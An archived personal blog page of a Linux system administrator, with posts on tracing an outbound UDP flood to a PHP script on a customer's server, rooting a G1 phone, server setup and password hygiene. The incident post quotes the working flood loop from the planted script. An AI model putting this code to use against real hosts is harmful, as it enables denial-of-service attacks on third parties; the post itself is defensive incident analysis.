Scott Mcintyre | System Administrator

Oct/09

19

Outbound DoS

Last Sunday I had a new customer sign up to our Linux Server Management company and one of the issues they were receiving was bandwidth overages for continual outbound DoS attacks their system was performing but they were unable to track.

So in effort to find the initial cause of this with no real data to work from I had a search around the system for the usual suspects but couldn’t find any particular culprit. Manually inspecting nearly 2 million files was not an option so opted to carry on with the usual setup and enforced posix ACL’s against the apache user and setup some more explicit bandwidth monitoring to obtain data when an attack was occurring.

A few hours later an alert came in that the outbound bandwidth exceeded the threshold so I promptly begin investigating, The process list doesn’t seem to show any obvious usual culprits. After spending a few minutes with iftop and tcpdump I identified the targeted IP and that the traffic was being directed to a DNS server (port 53). I filtered traffic to this IP while investigating the source, as there was no unusual processes I decided to have alook at the apache status and found the GET request containing the destination IP and port (xxx.php?target=xx.xx.xx.xx&port=53).

I got the vhosts path from the httpd.conf and reviewed the file and it looks like a simple php script to perform a UDP flood to the target,

$sock=socket_create(AF_INET,SOCK_DGRAM,SOL_UDP);

if(!$sock) die("Cant Create Socket!!!");

$data='';
for($i=0;$i<1400;$i++)
{
$data.=chr(rand(0,255));
}

while(true)
{
if(!socket_sendto($sock,$data,strlen($data),0,$target,$port)) die("Error SendTo!!!");
}

That is a snippet of it. It is very unusual to see these PHP based which is the reason for this blog entry and a definite new addition to the search list.

For those of you interested the customer already had MRTG installed and below is the last week which shows the attack saturating the uplink (100Mbit) when it was occurring but has since been stopped.

Outbound DoS Attack

No tags Hide

Oct/09

11

Rooting T-Mobile G1

Today I finally got around to rooting my UK T-mobile G1,

Rooting T-Mobile G1

While I work with and “hack” linux all day long modifying my phone was something I have never had the real urge to do.  I very rarely use my phone as I always either have or am close to a computer/laptop and the t-mobile 3g signal is useless.  I decided as I have some free time today that I will give it a go anyway – to my surprise it is actually surprisingly easy,  all of the work is already done for you amongst the very large community of users.

I initially looked at these 2 forums,

forum.xda-developers.com
modmygphone.com

Which then I simply ended up using

http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/ but did also read http://androidandme.com/2009/08/news/how-to-root-a-t-mobile-g1-and-mytouch-3g-android-phone/

Overall I am still surprised how much of the work is actually done already.   One thing that worried me was the differences between the US and UK in the phones themselves as I do not pay much attention to phone modding this is something that could potentially be a problem, I wasn’t sure if I should be worried about it (Especially with all the disclaimers about being targeted for the US version only) but it seems to have worked fine.  I only ran into 1 issue which had nothing to do with that and I will describe the details below below.

I mostly followed the ryebrye instructions and this is what I did.

-  On my laptop I downloaded http://g1files.webs.com/Zinx/flashrec-20090815.apk ,  copied this over to the SD card.
-  Used the market to find a file browser as I couldn’t see one by default.  The one I downloaded was FileDroid Lite.
-  Installed flashrec,  opened it,  clicked “Restore Backup Recovery Image” then  “Flash Cyanogen Recovery 1.4″

Rooting G1 Flashrec

I then rebooted the phone into recovery mode by turning the phone off,  then holding the home button and the power button at the same time.   The recovery system did appear as described,

I selected the “nandroid backup” at this stage to backup the phone settings.  At this point I had thought that was it completed but this is actually only to be able to load the images.  So I booted the phone again.    Then on my laptop I downloaded, update-cm-4.1.99-signed.zip from http://n0rp.chemlab.org/android/experimental/ and copied this to the sd card.  I rebooted the phone again back into recovery mode and selected “wipe data/factory reset” and then “apply any zip from sd” and selected update-cm-4.1.99-signed.zip.   After hitting home and waiting for it to install I rebooted the phone.  It was said to be patient as it takes longer to boot but after 20 minutes I realized something was up as it was still stuck at the t-mobile logo.   I powered it back into recovery mode and instead of selecting “restore latest backup” I accidentally selected nandroid backup again which I paniced, aborted (pulled the battery out) but after turning back into recovery mode it was unable to restore the good image as it had already been overwritten.   At this point I had thought that I have bricked my phone as without a card reader I have no way to put an image to the SD card but as it turns out you can mount the SD card from the recovery console.

So I selected “go to console” from the menu and plugged the data cable back in to my laptop then executed,

echo /dev/block/mmcblk0 > /sys/devices/platform/usb_mass_storage/lun0/file

Which done the trick,  I was able to copy new roms to the sdcard and get my phone back and working.  From reading the forums (This thread) I read the instructions again and noticed signed-dream_devphone_userdebug-ota-14721.zip was required from http://developer.htc.com/adp.html#s3 so I copied this to the SDcard and booted back into recovery mode.

I selected “apply any zip from sd” and then signed-dream_devphone_userdebug-ota-14721.zip , once this was installed and the phone rebooted (I held home again) I selected “apply any zip from sd” again then selected the previous image (update-cm-4.1.99-signed.zip). Once this finished installing I rebooted the phone and success! it actually booted this time. After filling in the gmail info everything seems to work fine and all my contacts are there.

The first thing I done was check the console which this rom comes with a nice app “Terminal Emulator”, I executed “su” and was prompted to allow the superuser permissions (I assume this is from the “superuser permissions” app which seems to be installed and low and behold I was root.

Overall very easy process so a huge thanks to all the people that I linked to during the course of writing this. Hopefully I will get some time to play around more and write some scripts/apps that will benefit me and others.

No tags Hide

Oct/09

11

Blogging

So it has been over 3 years since I created this blog and I have exactly 3 entries to date.   Blogging is something I have always been meaning to do but never actually got round to it.   I wouldn’t consider myself a true blogger but I am devoted to giving it a go anyway.

Not knowing what to write about is generally what made me always not bother and then when there is a subject I am actually not that good at being creative.  The truth is though it is actually just lazyness that has stopped be.

So from today onwards I have decided to have an average of 2 blog posts per month and these can be about anything be it useful information,  a rant about a product/service or just a general meaningless post.

No tags Hide

Aug/07

30

Setting up an MFA Server

Tired of paying someone to setup your server? Want a quick way to setup thousands of domains? Read on…

I have made a quick guide on how to setup a server specifically for MFA sites from start to finish. The server will consist of,

  • Web server – Apache
  • Database – mySQL
  • Scripting Language – PHP
  • FTP Daemon – vsFTPD
  • DNS Server – Bind

We are going to assume you are using centOS and have yum available. This should only be used on a fresh install. So lets begin,

Installing Services

To make this quick we are just going to use the RPM’s available from the depositories. At the shell prompt execute,


yum -y install httpd httpd-devel mysql mysql-server mysql-devel vsftpd bind bind-libs bind-utils php php-cli

Once this completes you should see something like this,

Service Installation via YUM

Now that the services are installed it’s time to configure them.

(more…)

No tags Hide

Jun/06

14

Password Security

Basic Use of Passwords

After all these years you would think basic password security would be drilled into everyone who uses the Internet, yet time and time again I always come across people who still have not learned the basics.  Really what is so hard about remembering a password that is not text only?  One simple `odd` character in the word would make it a reasonable secure password.  Yet people still do not get the message that adding just one character really makes a difference.

When I see people who get compromised due to passwords it just makes me cringe.  I have yet to understand why they do not learn until someone takes advantage of their weak password.  It happens so often now I even have an example ready now for weak passwords.

You can still have a secure password which is easy to remember, it does not have to be full of random characters, just one or two really does make a difference.

Take my name for example, Scott Mcintyre, that’s 13 characters long and easy to remember all you have to do now is throw a few odd characters in there such as,

Sc0tt`Mcintyr?e

Which is easy to remember, it includes capitals and has a number, and is more than 10 characters.

Do you test you’re passwords?

Now it brought me on to the fact that does anyone actually test their password against dictionaries?  Both users and system administrators should test them regularly and the reaction I get when I guess the passwords is quite strange as if it has never happened before.

System Administrators

I personally only work with *NIX and test passwords atleast once a week on every single server with user accounts I manage.  On one time work the successrate for more than 100 passwords is generally 1-10%, however today I did get a 58% success-rate which sparked this entry.

As a *NIX administrator I feel it’s my job to ensure peoples passwords are updated also, I often use tools like John The Ripper against the /etc/shadow file to acheive this.  You may view my guide http://www.hostgeekz.com/guides/Security/67/Password_Security.htm if you are unsure how to this.

End Users

End users should not have to test their passwords and should be using a password that gives them 100% reassurance.  Ultimately if you feel the need to check you’re password against dictionaries then you’re password is not good enough.

Multiple Locations

Do you use you’re password in multiple locations?  If so why? While it might be easy to remember it always leads to problems if by the off chance you’re password was ever compromised.  I feel this form of basic password security is the one that is the one that is not taken seriously the most.  I used to do it myself however have since realized it was bad just because of the number of people I have been bad things happen to.  There are methods of keeping you’re same password principal yet not using the same password. Take our above example,

Sc0tt`Mcintyr?e

You could change the position of the question mark for each different location, such as you’re instant messenger password could be S?c0tt`Mcintyre and you’re email could be Sc?0tt`Mcintyre, this is just different variations yet it keeps you’re password simple to remember.

Changing passwords

Do you change you’re password after a certain period?  This is generally a good idea if you use the same password in multiple locations.  Personally I do change my passwords around once every 3-4 months.  I do it so I can remember them easier, newer passwords will stay fresh in the mind whilst older passwords can be forgotten and confused with others.

Conclusion

As it seems I have joined the list of thousands, possible millions, of other articles/rants about password security but I think it has to be said that it’s quite shocking the number of people that totally ignore the basic concept.

No tags Hide

Jun/06

2

Sony and Warner Music Defaced

As reported on zone-h,

Some big music corporation sites have been defaced both sonymusicstudios.co.uk and warnermusic.com.tw.

Could this be a result of ThePirateBay going down recently? Could it be a coincidence, I think not.  It makes me wonder what will happen in the next few weeks because I suspect there will be a waive of these type of defacements.

One comment states,

“Just wait for the defacements tomorrow is all I can say.. (PRQ/TPB aren’t to be taken lightly when it comes to defacement support..)”

Which does indicate we should expect to see more of this in the coming days.

I wonder how both Sony and Warner Music will respond to these attacks.

No tags Hide

Find it!

Theme Design by devolux.org

Tag Cloud